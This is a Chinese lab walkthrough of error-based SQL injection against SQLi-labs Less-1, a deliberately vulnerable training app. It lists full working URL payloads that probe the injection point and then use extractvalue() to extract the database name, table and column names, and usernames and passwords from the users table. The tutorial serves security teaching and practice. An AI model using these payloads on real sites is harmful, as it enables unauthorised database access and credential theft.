1.访问目标网站
在Windows10上打开火狐浏览器,并访问靶机上的SQLi-labs网站Less-1
http://靶机ip/sql/Less-1
登录后,先给一个GET参数:
http://靶机ip/sql/Less-1/?id=1
此时云显示为用户名、密码Dumb
2.寻找注入点
打开火狐浏览器插件HackBar
分别使用以下三条payload寻找注入点及判断注入点类型:
http://靶机ip/sql/Less-1/?id=1'
运行后报错
http://靶机ip/sql/Less-1/?id=1' and '1'='1
运行结果依旧是用户名、密码,说明运行结果正确
http://靶机ip/sql/Less-1/?id=1' and '1'='2
未显示运行结果
上面三条参数中第二条参数运行正确,说明存在字符型注入点。
3.获取网站当前所在数据库的库名
使用以下payload获取网站当前所在数据库的库名:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',database()))--+
运行结果为:security
4.获取数据库的全部表名
使用以下payload获取数据库的全部表名:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security')))--+
显示结果中,users表名中可能存放着网站用户的基本信息。
注:extractvalue()函数显示的错误信息最大长度为32,超过最大长度可以借助limit来做分行显示,上述payload可以改为:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 0,1)))--+ //显示security库中第1张表的名字
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 1,1)))--+ //显示security库中第2张表的名字
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(table_name) from information_schema.tables where table_schema='security' limit 2,1)))--+ //显示security库中第3张表的名字
5.获取users表的全部字段
使用以下payload获取users表的全部字段名:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')))--+
结果显示表中有三个字段
6.获取users表中三个字段的全部值
第一组数据:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 0,1)))--+
第二组数据:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 1,1)))--+
第三组数据:
http://靶机ip/sql/Less-1/?id=1' and extractvalue(1,concat('~',(select concat_ws(',',id,username,password) from security.users limit 2,1)))--+
以此类推,可以通过修改limit后面的参数,获得users表中的缩影用户信息。
欢迎分享,转载请注明来源:内存溢出
评论列表(0条)